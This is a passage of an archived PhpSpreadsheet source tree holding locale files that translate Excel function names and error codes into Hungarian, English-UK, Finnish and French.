PhpSpreadsheet - locale settings ## ## Magyar (Hungarian) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #NULLA! DIV0 = #ZÉRÓOSZTÓ! VALUE = #ÉRTÉK! REF = #HIV! NAME = #NÉV? NUM = #SZÁM! NA = #HIÁNYZIK phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/en/uk/config000064400000000476151676714400023164 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## English-UK (English-UK) ## ############################################################ ArgumentSeparator = , ## ## (For future use) ## currencySymbol = £ ## ## Error Codes ## NULL DIV0 VALUE REF NAME NUM NA phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/fi/functions000064400000026262151676714400023305 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Suomi (Finnish) ## ############################################################ ## ## Kuutiofunktiot (Cube Functions) ## CUBEKPIMEMBER = KUUTIOKPIJÄSEN CUBEMEMBER = KUUTIONJÄSEN CUBEMEMBERPROPERTY = KUUTIONJÄSENENOMINAISUUS CUBERANKEDMEMBER = KUUTIONLUOKITELTUJÄSEN CUBESET = KUUTIOJOUKKO CUBESETCOUNT = KUUTIOJOUKKOJENMÄÄRÄ CUBEVALUE = KUUTIONARVO ## ## Tietokantafunktiot (Database Functions) ## DAVERAGE = TKESKIARVO DCOUNT = TLASKE DCOUNTA = TLASKEA DGET = TNOUDA DMAX = TMAKS DMIN = TMIN DPRODUCT = TTULO DSTDEV = TKESKIHAJONTA DSTDEVP = TKESKIHAJONTAP DSUM = TSUMMA DVAR = TVARIANSSI DVARP = TVARIANSSIP ## ## Päivämäärä- ja aikafunktiot (Date & Time Functions) ## DATE = PÄIVÄYS DATEDIF = PVMERO DATESTRING = PVMMERKKIJONO DATEVALUE = PÄIVÄYSARVO DAY = PÄIVÄ DAYS = PÄIVÄT DAYS360 = PÄIVÄT360 EDATE = PÄIVÄ.KUUKAUSI EOMONTH = KUUKAUSI.LOPPU HOUR = TUNNIT ISOWEEKNUM = VIIKKO.ISO.NRO MINUTE = MINUUTIT MONTH = KUUKAUSI NETWORKDAYS = TYÖPÄIVÄT NETWORKDAYS.INTL = TYÖPÄIVÄT.KANSVÄL NOW = NYT SECOND = SEKUNNIT THAIDAYOFWEEK = THAI.VIIKONPÄIVÄ THAIMONTHOFYEAR = THAI.KUUKAUSI THAIYEAR = THAI.VUOSI TIME = AIKA TIMEVALUE = AIKA_ARVO TODAY = TÄMÄ.PÄIVÄ WEEKDAY = VIIKONPÄIVÄ WEEKNUM = VIIKKO.NRO WORKDAY = TYÖPÄIVÄ WORKDAY.INTL = TYÖPÄIVÄ.KANSVÄL YEAR = VUOSI YEARFRAC = VUOSI.OSA ## ## Tekniset funktiot (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BINDES BIN2HEX = BINHEKSA BIN2OCT = BINOKT BITAND = BITTI.JA BITLSHIFT = BITTI.SIIRTO.V BITOR = BITTI.TAI BITRSHIFT = BITTI.SIIRTO.O BITXOR = BITTI.EHDOTON.TAI COMPLEX = KOMPLEKSI CONVERT = MUUNNA DEC2BIN = DESBIN DEC2HEX = DESHEKSA DEC2OCT = DESOKT DELTA = SAMA.ARVO ERF = VIRHEFUNKTIO ERF.PRECISE = VIRHEFUNKTIO.TARKKA ERFC = VIRHEFUNKTIO.KOMPLEMENTTI ERFC.PRECISE = VIRHEFUNKTIO.KOMPLEMENTTI.TARKKA GESTEP = RAJA HEX2BIN = HEKSABIN HEX2DEC = HEKSADES HEX2OCT = HEKSAOKT IMABS = KOMPLEKSI.ABS IMAGINARY = KOMPLEKSI.IMAG IMARGUMENT = KOMPLEKSI.ARG IMCONJUGATE = KOMPLEKSI.KONJ IMCOS = KOMPLEKSI.COS IMCOSH = IMCOSH IMCOT = KOMPLEKSI.COT IMCSC = KOMPLEKSI.KOSEK IMCSCH = KOMPLEKSI.KOSEKH IMDIV = KOMPLEKSI.OSAM IMEXP = KOMPLEKSI.EKSP IMLN = KOMPLEKSI.LN IMLOG10 = KOMPLEKSI.LOG10 IMLOG2 = KOMPLEKSI.LOG2 IMPOWER = KOMPLEKSI.POT IMPRODUCT = KOMPLEKSI.TULO IMREAL = KOMPLEKSI.REAALI IMSEC = KOMPLEKSI.SEK IMSECH = KOMPLEKSI.SEKH IMSIN = KOMPLEKSI.SIN IMSINH = KOMPLEKSI.SINH IMSQRT = KOMPLEKSI.NELIÖJ IMSUB = KOMPLEKSI.EROTUS IMSUM = KOMPLEKSI.SUM IMTAN = KOMPLEKSI.TAN OCT2BIN = OKTBIN OCT2DEC = OKTDES OCT2HEX = OKTHEKSA ## ## Rahoitusfunktiot (Financial Functions) ## ACCRINT = KERTYNYT.KORKO ACCRINTM = KERTYNYT.KORKO.LOPUSSA AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = KORKOPÄIVÄT.ALUSTA COUPDAYS = KORKOPÄIVÄT COUPDAYSNC = KORKOPÄIVÄT.SEURAAVA COUPNCD = KORKOPÄIVÄ.SEURAAVA COUPNUM = KORKOPÄIVÄ.JAKSOT COUPPCD = KORKOPÄIVÄ.EDELLINEN CUMIPMT = MAKSETTU.KORKO CUMPRINC = MAKSETTU.LYHENNYS DB = DB DDB = DDB DISC = DISKONTTOKORKO DOLLARDE = VALUUTTA.DES DOLLARFR = VALUUTTA.MURTO DURATION = KESTO EFFECT = KORKO.EFEKT FV = TULEVA.ARVO FVSCHEDULE = TULEVA.ARVO.ERIKORKO INTRATE = KORKO.ARVOPAPERI IPMT = IPMT IRR = SISÄINEN.KORKO ISPMT = ISPMT MDURATION = KESTO.MUUNN MIRR = MSISÄINEN NOMINAL = KORKO.VUOSI NPER = NJAKSO NPV = NNA ODDFPRICE = PARITON.ENS.NIMELLISARVO ODDFYIELD = PARITON.ENS.TUOTTO ODDLPRICE = PARITON.VIIM.NIMELLISARVO ODDLYIELD = PARITON.VIIM.TUOTTO PDURATION = KESTO.JAKSO PMT = MAKSU PPMT = PPMT PRICE = HINTA PRICEDISC = HINTA.DISK PRICEMAT = HINTA.LUNASTUS PV = NA RATE = KORKO RECEIVED = SAATU.HINTA RRI = TOT.ROI SLN = STP SYD = VUOSIPOISTO TBILLEQ = OBLIG.TUOTTOPROS TBILLPRICE = OBLIG.HINTA TBILLYIELD = OBLIG.TUOTTO VDB = VDB XIRR = SISÄINEN.KORKO.JAKSOTON XNPV = NNA.JAKSOTON YIELD = TUOTTO YIELDDISC = TUOTTO.DISK YIELDMAT = TUOTTO.ERÄP ## ## Tietofunktiot (Information Functions) ## CELL = SOLU ERROR.TYPE = VIRHEEN.LAJI INFO = KUVAUS ISBLANK = ONTYHJÄ ISERR = ONVIRH ISERROR = ONVIRHE ISEVEN = ONPARILLINEN ISFORMULA = ONKAAVA ISLOGICAL = ONTOTUUS ISNA = ONPUUTTUU ISNONTEXT = ONEI_TEKSTI ISNUMBER = ONLUKU ISODD = ONPARITON ISREF = ONVIITT ISTEXT = ONTEKSTI N = N NA = PUUTTUU SHEET = TAULUKKO SHEETS = TAULUKOT TYPE = TYYPPI ## ## Loogiset funktiot (Logical Functions) ## AND = JA FALSE = EPÄTOSI IF = JOS IFERROR = JOSVIRHE IFNA = JOSPUUTTUU IFS = JOSS NOT = EI OR = TAI SWITCH = MUUTA TRUE = TOSI XOR = EHDOTON.TAI ## ## Haku- ja viitefunktiot (Lookup & Reference Functions) ## ADDRESS = OSOITE AREAS = ALUEET CHOOSE = VALITSE.INDEKSI COLUMN = SARAKE COLUMNS = SARAKKEET FORMULATEXT = KAAVA.TEKSTI GETPIVOTDATA = NOUDA.PIVOT.TIEDOT HLOOKUP = VHAKU HYPERLINK = HYPERLINKKI INDEX = INDEKSI INDIRECT = EPÄSUORA LOOKUP = HAKU MATCH = VASTINE OFFSET = SIIRTYMÄ ROW = RIVI ROWS = RIVIT RTD = RTD TRANSPOSE = TRANSPONOI VLOOKUP = PHAKU *RC = RS ## ## Matemaattiset ja trigonometriset funktiot (Math & Trig Functions) ## ABS = ITSEISARVO ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = KOOSTE ARABIC = ARABIA ASIN = ASIN ASINH = ASINH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = PERUS CEILING.MATH = PYÖRISTÄ.KERR.YLÖS.MATEMAATTINEN CEILING.PRECISE = PYÖRISTÄ.KERR.YLÖS.TARKKA COMBIN = KOMBINAATIO COMBINA = KOMBINAATIOA COS = COS COSH = COSH COT = COT COTH = COTH CSC = KOSEK CSCH = KOSEKH DECIMAL = DESIMAALI DEGREES = ASTEET ECMA.CEILING = ECMA.PYÖRISTÄ.KERR.YLÖS EVEN = PARILLINEN EXP = EKSPONENTTI FACT = KERTOMA FACTDOUBLE = KERTOMA.OSA FLOOR.MATH = PYÖRISTÄ.KERR.ALAS.MATEMAATTINEN FLOOR.PRECISE = PYÖRISTÄ.KERR.ALAS.TARKKA GCD = SUURIN.YHT.TEKIJÄ INT = KOKONAISLUKU ISO.CEILING = ISO.PYÖRISTÄ.KERR.YLÖS LCM = PIENIN.YHT.JAETTAVA LN = LUONNLOG LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = MKÄÄNTEINEN MMULT = MKERRO MOD = JAKOJ MROUND = PYÖRISTÄ.KERR MULTINOMIAL = MULTINOMI MUNIT = YKSIKKÖM ODD = PARITON PI = PII POWER = POTENSSI PRODUCT = TULO QUOTIENT = OSAMÄÄRÄ RADIANS = RADIAANIT RAND = SATUNNAISLUKU RANDBETWEEN = SATUNNAISLUKU.VÄLILTÄ ROMAN = ROMAN ROUND = PYÖRISTÄ ROUNDBAHTDOWN = PYÖRISTÄ.BAHT.ALAS ROUNDBAHTUP = PYÖRISTÄ.BAHT.YLÖS ROUNDDOWN = PYÖRISTÄ.DES.ALAS ROUNDUP = PYÖRISTÄ.DES.YLÖS SEC = SEK SECH = SEKH SERIESSUM = SARJA.SUMMA SIGN = ETUMERKKI SIN = SIN SINH = SINH SQRT = NELIÖJUURI SQRTPI = NELIÖJUURI.PII SUBTOTAL = VÄLISUMMA SUM = SUMMA SUMIF = SUMMA.JOS SUMIFS = SUMMA.JOS.JOUKKO SUMPRODUCT = TULOJEN.SUMMA SUMSQ = NELIÖSUMMA SUMX2MY2 = NELIÖSUMMIEN.EROTUS SUMX2PY2 = NELIÖSUMMIEN.SUMMA SUMXMY2 = EROTUSTEN.NELIÖSUMMA TAN = TAN TANH = TANH TRUNC = KATKAISE ## ## Tilastolliset funktiot (Statistical Functions) ## AVEDEV = KESKIPOIKKEAMA AVERAGE = KESKIARVO AVERAGEA = KESKIARVOA AVERAGEIF = KESKIARVO.JOS AVERAGEIFS = KESKIARVO.JOS.JOUKKO BETA.DIST = BEETA.JAKAUMA BETA.INV = BEETA.KÄÄNT BINOM.DIST = BINOMI.JAKAUMA BINOM.DIST.RANGE = BINOMI.JAKAUMA.ALUE BINOM.INV = BINOMIJAKAUMA.KÄÄNT CHISQ.DIST = CHINELIÖ.JAKAUMA CHISQ.DIST.RT = CHINELIÖ.JAKAUMA.OH CHISQ.INV = CHINELIÖ.KÄÄNT CHISQ.INV.RT = CHINELIÖ.KÄÄNT.OH CHISQ.TEST = CHINELIÖ.TESTI CONFIDENCE.NORM = LUOTTAMUSVÄLI.NORM CONFIDENCE.T = LUOTTAMUSVÄLI.T CORREL = KORRELAATIO COUNT = LASKE COUNTA = LASKE.A COUNTBLANK = LASKE.TYHJÄT COUNTIF = LASKE.JOS COUNTIFS = LASKE.JOS.JOUKKO COVARIANCE.P = KOVARIANSSI.P COVARIANCE.S = KOVARIANSSI.S DEVSQ = OIKAISTU.NELIÖSUMMA EXPON.DIST = EKSPONENTIAALI.JAKAUMA F.DIST = F.JAKAUMA F.DIST.RT = F.JAKAUMA.OH F.INV = F.KÄÄNT F.INV.RT = F.KÄÄNT.OH F.TEST = F.TESTI FISHER = FISHER FISHERINV = FISHER.KÄÄNT FORECAST.ETS = ENNUSTE.ETS FORECAST.ETS.CONFINT = ENNUSTE.ETS.CONFINT FORECAST.ETS.SEASONALITY = ENNUSTE.ETS.KAUSIVAIHTELU FORECAST.ETS.STAT = ENNUSTE.ETS.STAT FORECAST.LINEAR = ENNUSTE.LINEAARINEN FREQUENCY = TAAJUUS GAMMA = GAMMA GAMMA.DIST = GAMMA.JAKAUMA GAMMA.INV = GAMMA.JAKAUMA.KÄÄNT GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.TARKKA GAUSS = GAUSS GEOMEAN = KESKIARVO.GEOM GROWTH = KASVU HARMEAN = KESKIARVO.HARM HYPGEOM.DIST = HYPERGEOM_JAKAUMA INTERCEPT = LEIKKAUSPISTE KURT = KURT LARGE = SUURI LINEST = LINREGR LOGEST = LOGREGR LOGNORM.DIST = LOGNORM_JAKAUMA LOGNORM.INV = LOGNORM.KÄÄNT MAX = MAKS MAXA = MAKSA MAXIFS = MAKS.JOS MEDIAN = MEDIAANI MIN = MIN MINA = MINA MINIFS = MIN.JOS MODE.MULT = MOODI.USEA MODE.SNGL = MOODI.YKSI NEGBINOM.DIST = BINOMI.JAKAUMA.NEG NORM.DIST = NORMAALI.JAKAUMA NORM.INV = NORMAALI.JAKAUMA.KÄÄNT NORM.S.DIST = NORM_JAKAUMA.NORMIT NORM.S.INV = NORM_JAKAUMA.KÄÄNT PEARSON = PEARSON PERCENTILE.EXC = PROSENTTIPISTE.ULK PERCENTILE.INC = PROSENTTIPISTE.SIS PERCENTRANK.EXC = PROSENTTIJÄRJESTYS.ULK PERCENTRANK.INC = PROSENTTIJÄRJESTYS.SIS PERMUT = PERMUTAATIO PERMUTATIONA = PERMUTAATIOA PHI = FII POISSON.DIST = POISSON.JAKAUMA PROB = TODENNÄKÖISYYS QUARTILE.EXC = NELJÄNNES.ULK QUARTILE.INC = NELJÄNNES.SIS RANK.AVG = ARVON.MUKAAN.KESKIARVO RANK.EQ = ARVON.MUKAAN.TASAN RSQ = PEARSON.NELIÖ SKEW = JAKAUMAN.VINOUS SKEW.P = JAKAUMAN.VINOUS.POP SLOPE = KULMAKERROIN SMALL = PIENI STANDARDIZE = NORMITA STDEV.P = KESKIHAJONTA.P STDEV.S = KESKIHAJONTA.S STDEVA = KESKIHAJONTAA STDEVPA = KESKIHAJONTAPA STEYX = KESKIVIRHE T.DIST = T.JAKAUMA T.DIST.2T = T.JAKAUMA.2S T.DIST.RT = T.JAKAUMA.OH T.INV = T.KÄÄNT T.INV.2T = T.KÄÄNT.2S T.TEST = T.TESTI TREND = SUUNTAUS TRIMMEAN = KESKIARVO.TASATTU VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = WEIBULL.JAKAUMA Z.TEST = Z.TESTI ## ## Tekstifunktiot (Text Functions) ## BAHTTEXT = BAHTTEKSTI CHAR = MERKKI CLEAN = SIIVOA CODE = KOODI CONCAT = YHDISTÄ DOLLAR = VALUUTTA EXACT = VERTAA FIND = ETSI FIXED = KIINTEÄ ISTHAIDIGIT = ON.THAI.NUMERO LEFT = VASEN LEN = PITUUS LOWER = PIENET MID = POIMI.TEKSTI NUMBERSTRING = NROMERKKIJONO NUMBERVALUE = NROARVO PHONETIC = FONEETTINEN PROPER = ERISNIMI REPLACE = KORVAA REPT = TOISTA RIGHT = OIKEA SEARCH = KÄY.LÄPI SUBSTITUTE = VAIHDA T = T TEXT = TEKSTI TEXTJOIN = TEKSTI.YHDISTÄ THAIDIGIT = THAI.NUMERO THAINUMSOUND = THAI.LUKU.ÄÄNI THAINUMSTRING = THAI.LUKU.MERKKIJONO THAISTRINGLENGTH = THAI.MERKKIJONON.PITUUS TRIM = POISTA.VÄLIT UNICHAR = UNICODEMERKKI UNICODE = UNICODE UPPER = ISOT VALUE = ARVO ## ## Verkkofunktiot (Web Functions) ## ENCODEURL = URLKOODAUS FILTERXML = SUODATA.XML WEBSERVICE = VERKKOPALVELU ## ## Yhteensopivuusfunktiot (Compatibility Functions) ## BETADIST = BEETAJAKAUMA BETAINV = BEETAJAKAUMA.KÄÄNT BINOMDIST = BINOMIJAKAUMA CEILING = PYÖRISTÄ.KERR.YLÖS CHIDIST = CHIJAKAUMA CHIINV = CHIJAKAUMA.KÄÄNT CHITEST = CHITESTI CONCATENATE = KETJUTA CONFIDENCE = LUOTTAMUSVÄLI COVAR = KOVARIANSSI CRITBINOM = BINOMIJAKAUMA.KRIT EXPONDIST = EKSPONENTIAALIJAKAUMA FDIST = FJAKAUMA FINV = FJAKAUMA.KÄÄNT FLOOR = PYÖRISTÄ.KERR.ALAS FORECAST = ENNUSTE FTEST = FTESTI GAMMADIST = GAMMAJAKAUMA GAMMAINV = GAMMAJAKAUMA.KÄÄNT HYPGEOMDIST = HYPERGEOM.JAKAUMA LOGINV = LOGNORM.JAKAUMA.KÄÄNT LOGNORMDIST = LOGNORM.JAKAUMA MODE = MOODI NEGBINOMDIST = BINOMIJAKAUMA.NEG NORMDIST = NORM.JAKAUMA NORMINV = NORM.JAKAUMA.KÄÄNT NORMSDIST = NORM.JAKAUMA.NORMIT NORMSINV = NORM.JAKAUMA.NORMIT.KÄÄNT PERCENTILE = PROSENTTIPISTE PERCENTRANK = PROSENTTIJÄRJESTYS POISSON = POISSON QUARTILE = NELJÄNNES RANK = ARVON.MUKAAN STDEV = KESKIHAJONTA STDEVP = KESKIHAJONTAP TDIST = TJAKAUMA TINV = TJAKAUMA.KÄÄNT TTEST = TTESTI VAR = VAR VARP = VARP WEIBULL = WEIBULL ZTEST = ZTESTI phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/fi/config000064400000000521151676714400022530 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Suomi (Finnish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #TYHJÄ! DIV0 = #JAKO/0! VALUE = #ARVO! REF = #VIITTAUS! NAME = #NIMI? NUM = #LUKU! NA = #PUUTTUU! phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/fr/functions000064400000024740151676714400023315 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Français (French) ## ############################################################ ## ## Fonctions Cube (Cube Functions) ## CUBEKPIMEMBER = MEMBREKPICUBE CUBEMEMBER = MEMBRECUBE CUBEMEMBERPROPERTY = PROPRIETEMEMBRECUBE CUBERANKEDMEMBER = RANGMEMBRECUBE CUBESET = JEUCUBE CUBESETCOUNT = NBJEUCUBE CUBEVALUE = VALEURCUBE ## ## Fonctions de base de données (Database Functions) ## DAVERAGE = BDMOYENNE DCOUNT = BDNB DCOUNTA = BDNBVAL DGET = BDLIRE DMAX = BDMAX DMIN = BDMIN DPRODUCT = BDPRODUIT DSTDEV = BDECARTYPE DSTDEVP = BDECARTYPEP DSUM = BDSOMME DVAR = BDVAR DVARP = BDVARP ## ## Fonctions de date et d’heure (Date & Time Functions) ## DATE = DATE DATEVALUE = DATEVAL DAY = JOUR DAYS = JOURS DAYS360 = JOURS360 EDATE = MOIS.DECALER EOMONTH = FIN.MOIS HOUR = HEURE ISOWEEKNUM = NO.SEMAINE.ISO MINUTE = MINUTE MONTH = MOIS NETWORKDAYS = NB.JOURS.OUVRES NETWORKDAYS.INTL = NB.JOURS.OUVRES.INTL NOW = MAINTENANT SECOND = SECONDE TIME = TEMPS TIMEVALUE = TEMPSVAL TODAY = AUJOURDHUI WEEKDAY = JOURSEM WEEKNUM = NO.SEMAINE WORKDAY = SERIE.JOUR.OUVRE WORKDAY.INTL = SERIE.JOUR.OUVRE.INTL YEAR = ANNEE YEARFRAC = FRACTION.ANNEE ## ## Fonctions d’ingénierie (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BINDEC BIN2HEX = BINHEX BIN2OCT = BINOCT BITAND = BITET BITLSHIFT = BITDECALG BITOR = BITOU BITRSHIFT = BITDECALD BITXOR = BITOUEXCLUSIF COMPLEX = COMPLEXE CONVERT = CONVERT DEC2BIN = DECBIN DEC2HEX = DECHEX DEC2OCT = DECOCT DELTA = DELTA ERF = ERF ERF.PRECISE = ERF.PRECIS ERFC = ERFC ERFC.PRECISE = ERFC.PRECIS GESTEP = SUP.SEUIL HEX2BIN = HEXBIN HEX2DEC = HEXDEC HEX2OCT = HEXOCT IMABS = COMPLEXE.MODULE IMAGINARY = COMPLEXE.IMAGINAIRE IMARGUMENT = COMPLEXE.ARGUMENT IMCONJUGATE = COMPLEXE.CONJUGUE IMCOS = COMPLEXE.COS IMCOSH = COMPLEXE.COSH IMCOT = COMPLEXE.COT IMCSC = COMPLEXE.CSC IMCSCH = COMPLEXE.CSCH IMDIV = COMPLEXE.DIV IMEXP = COMPLEXE.EXP IMLN = COMPLEXE.LN IMLOG10 = COMPLEXE.LOG10 IMLOG2 = COMPLEXE.LOG2 IMPOWER = COMPLEXE.PUISSANCE IMPRODUCT = COMPLEXE.PRODUIT IMREAL = COMPLEXE.REEL IMSEC = COMPLEXE.SEC IMSECH = COMPLEXE.SECH IMSIN = COMPLEXE.SIN IMSINH = COMPLEXE.SINH IMSQRT = COMPLEXE.RACINE IMSUB = COMPLEXE.DIFFERENCE IMSUM = COMPLEXE.SOMME IMTAN = COMPLEXE.TAN OCT2BIN = OCTBIN OCT2DEC = OCTDEC OCT2HEX = OCTHEX ## ## Fonctions financières (Financial Functions) ## ACCRINT = INTERET.ACC ACCRINTM = INTERET.ACC.MAT AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = NB.JOURS.COUPON.PREC COUPDAYS = NB.JOURS.COUPONS COUPDAYSNC = NB.JOURS.COUPON.SUIV COUPNCD = DATE.COUPON.SUIV COUPNUM = NB.COUPONS COUPPCD = DATE.COUPON.PREC CUMIPMT = CUMUL.INTER CUMPRINC = CUMUL.PRINCPER DB = DB DDB = DDB DISC = TAUX.ESCOMPTE DOLLARDE = PRIX.DEC DOLLARFR = PRIX.FRAC DURATION = DUREE EFFECT = TAUX.EFFECTIF FV = VC FVSCHEDULE = VC.PAIEMENTS INTRATE = TAUX.INTERET IPMT = INTPER IRR = TRI ISPMT = ISPMT MDURATION = DUREE.MODIFIEE MIRR = TRIM NOMINAL = TAUX.NOMINAL NPER = NPM NPV = VAN ODDFPRICE = PRIX.PCOUPON.IRREG ODDFYIELD = REND.PCOUPON.IRREG ODDLPRICE = PRIX.DCOUPON.IRREG ODDLYIELD = REND.DCOUPON.IRREG PDURATION = PDUREE PMT = VPM PPMT = PRINCPER PRICE = PRIX.TITRE PRICEDISC = VALEUR.ENCAISSEMENT PRICEMAT = PRIX.TITRE.ECHEANCE PV = VA RATE = TAUX RECEIVED = VALEUR.NOMINALE RRI = TAUX.INT.EQUIV SLN = AMORLIN SYD = SYD TBILLEQ = TAUX.ESCOMPTE.R TBILLPRICE = PRIX.BON.TRESOR TBILLYIELD = RENDEMENT.BON.TRESOR VDB = VDB XIRR = TRI.PAIEMENTS XNPV = VAN.PAIEMENTS YIELD = RENDEMENT.TITRE YIELDDISC = RENDEMENT.SIMPLE YIELDMAT = RENDEMENT.TITRE.ECHEANCE ## ## Fonctions d’information (Information Functions) ## CELL = CELLULE ERROR.TYPE = TYPE.ERREUR INFO = INFORMATIONS ISBLANK = ESTVIDE ISERR = ESTERR ISERROR = ESTERREUR ISEVEN = EST.PAIR ISFORMULA = ESTFORMULE ISLOGICAL = ESTLOGIQUE ISNA = ESTNA ISNONTEXT = ESTNONTEXTE ISNUMBER = ESTNUM ISODD = EST.IMPAIR ISREF = ESTREF ISTEXT = ESTTEXTE N = N NA = NA SHEET = FEUILLE SHEETS = FEUILLES TYPE = TYPE ## ## Fonctions logiques (Logical Functions) ## AND = ET FALSE = FAUX IF = SI IFERROR = SIERREUR IFNA = SI.NON.DISP IFS = SI.CONDITIONS NOT = NON OR = OU SWITCH = SI.MULTIPLE TRUE = VRAI XOR = OUX ## ## Fonctions de recherche et de référence (Lookup & Reference Functions) ## ADDRESS = ADRESSE AREAS = ZONES CHOOSE = CHOISIR COLUMN = COLONNE COLUMNS = COLONNES FORMULATEXT = FORMULETEXTE GETPIVOTDATA = LIREDONNEESTABCROISDYNAMIQUE HLOOKUP = RECHERCHEH HYPERLINK = LIEN_HYPERTEXTE INDEX = INDEX INDIRECT = INDIRECT LOOKUP = RECHERCHE MATCH = EQUIV OFFSET = DECALER ROW = LIGNE ROWS = LIGNES RTD = RTD TRANSPOSE = TRANSPOSE VLOOKUP = RECHERCHEV *RC = LC ## ## Fonctions mathématiques et trigonométriques (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGREGAT ARABIC = CHIFFRE.ARABE ASIN = ASIN ASINH = ASINH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = BASE CEILING.MATH = PLAFOND.MATH CEILING.PRECISE = PLAFOND.PRECIS COMBIN = COMBIN COMBINA = COMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMAL DEGREES = DEGRES ECMA.CEILING = ECMA.PLAFOND EVEN = PAIR EXP = EXP FACT = FACT FACTDOUBLE = FACTDOUBLE FLOOR.MATH = PLANCHER.MATH FLOOR.PRECISE = PLANCHER.PRECIS GCD = PGCD INT = ENT ISO.CEILING = ISO.PLAFOND LCM = PPCM LN = LN LOG = LOG LOG10 = LOG10 MDETERM = DETERMAT MINVERSE = INVERSEMAT MMULT = PRODUITMAT MOD = MOD MROUND = ARRONDI.AU.MULTIPLE MULTINOMIAL = MULTINOMIALE MUNIT = MATRICE.UNITAIRE ODD = IMPAIR PI = PI POWER = PUISSANCE PRODUCT = PRODUIT QUOTIENT = QUOTIENT RADIANS = RADIANS RAND = ALEA RANDBETWEEN = ALEA.ENTRE.BORNES ROMAN = ROMAIN ROUND = ARRONDI ROUNDDOWN = ARRONDI.INF ROUNDUP = ARRONDI.SUP SEC = SEC SECH = SECH SERIESSUM = SOMME.SERIES SIGN = SIGNE SIN = SIN SINH = SINH SQRT = RACINE SQRTPI = RACINE.PI SUBTOTAL = SOUS.TOTAL SUM = SOMME SUMIF = SOMME.SI SUMIFS = SOMME.SI.ENS SUMPRODUCT = SOMMEPROD SUMSQ = SOMME.CARRES SUMX2MY2 = SOMME.X2MY2 SUMX2PY2 = SOMME.X2PY2 SUMXMY2 = SOMME.XMY2 TAN = TAN TANH = TANH TRUNC = TRONQUE ## ## Fonctions statistiques (Statistical Functions) ## AVEDEV = ECART.MOYEN AVERAGE = MOYENNE AVERAGEA = AVERAGEA AVERAGEIF = MOYENNE.SI AVERAGEIFS = MOYENNE.SI.ENS BETA.DIST = LOI.BETA.N BETA.INV = BETA.INVERSE.N BINOM.DIST = LOI.BINOMIALE.N BINOM.DIST.RANGE = LOI.BINOMIALE.SERIE BINOM.INV = LOI.BINOMIALE.INVERSE CHISQ.DIST = LOI.KHIDEUX.N CHISQ.DIST.RT = LOI.KHIDEUX.DROITE CHISQ.INV = LOI.KHIDEUX.INVERSE CHISQ.INV.RT = LOI.KHIDEUX.INVERSE.DROITE CHISQ.TEST = CHISQ.TEST CONFIDENCE.NORM = INTERVALLE.CONFIANCE.NORMAL CONFIDENCE.T = INTERVALLE.CONFIANCE.STUDENT CORREL = COEFFICIENT.CORRELATION COUNT = NB COUNTA = NBVAL COUNTBLANK = NB.VIDE COUNTIF = NB.SI COUNTIFS = NB.SI.ENS COVARIANCE.P = COVARIANCE.PEARSON COVARIANCE.S = COVARIANCE.STANDARD DEVSQ = SOMME.CARRES.ECARTS EXPON.DIST = LOI.EXPONENTIELLE.N F.DIST = LOI.F.N F.DIST.RT = LOI.F.DROITE F.INV = INVERSE.LOI.F.N F.INV.RT = INVERSE.LOI.F.DROITE F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHER.INVERSE FORECAST.ETS = PREVISION.ETS FORECAST.ETS.CONFINT = PREVISION.ETS.CONFINT FORECAST.ETS.SEASONALITY = PREVISION.ETS.CARACTERESAISONNIER FORECAST.ETS.STAT = PREVISION.ETS.STAT FORECAST.LINEAR = PREVISION.LINEAIRE FREQUENCY = FREQUENCE GAMMA = GAMMA GAMMA.DIST = LOI.GAMMA.N GAMMA.INV = LOI.GAMMA.INVERSE.N GAMMALN = LNGAMMA GAMMALN.PRECISE = LNGAMMA.PRECIS GAUSS = GAUSS GEOMEAN = MOYENNE.GEOMETRIQUE GROWTH = CROISSANCE HARMEAN = MOYENNE.HARMONIQUE HYPGEOM.DIST = LOI.HYPERGEOMETRIQUE.N INTERCEPT = ORDONNEE.ORIGINE KURT = KURTOSIS LARGE = GRANDE.VALEUR LINEST = DROITEREG LOGEST = LOGREG LOGNORM.DIST = LOI.LOGNORMALE.N LOGNORM.INV = LOI.LOGNORMALE.INVERSE.N MAX = MAX MAXA = MAXA MAXIFS = MAX.SI MEDIAN = MEDIANE MIN = MIN MINA = MINA MINIFS = MIN.SI MODE.MULT = MODE.MULTIPLE MODE.SNGL = MODE.SIMPLE NEGBINOM.DIST = LOI.BINOMIALE.NEG.N NORM.DIST = LOI.NORMALE.N NORM.INV = LOI.NORMALE.INVERSE.N NORM.S.DIST = LOI.NORMALE.STANDARD.N NORM.S.INV = LOI.NORMALE.STANDARD.INVERSE.N PEARSON = PEARSON PERCENTILE.EXC = CENTILE.EXCLURE PERCENTILE.INC = CENTILE.INCLURE PERCENTRANK.EXC = RANG.POURCENTAGE.EXCLURE PERCENTRANK.INC = RANG.POURCENTAGE.INCLURE PERMUT = PERMUTATION PERMUTATIONA = PERMUTATIONA PHI = PHI POISSON.DIST = 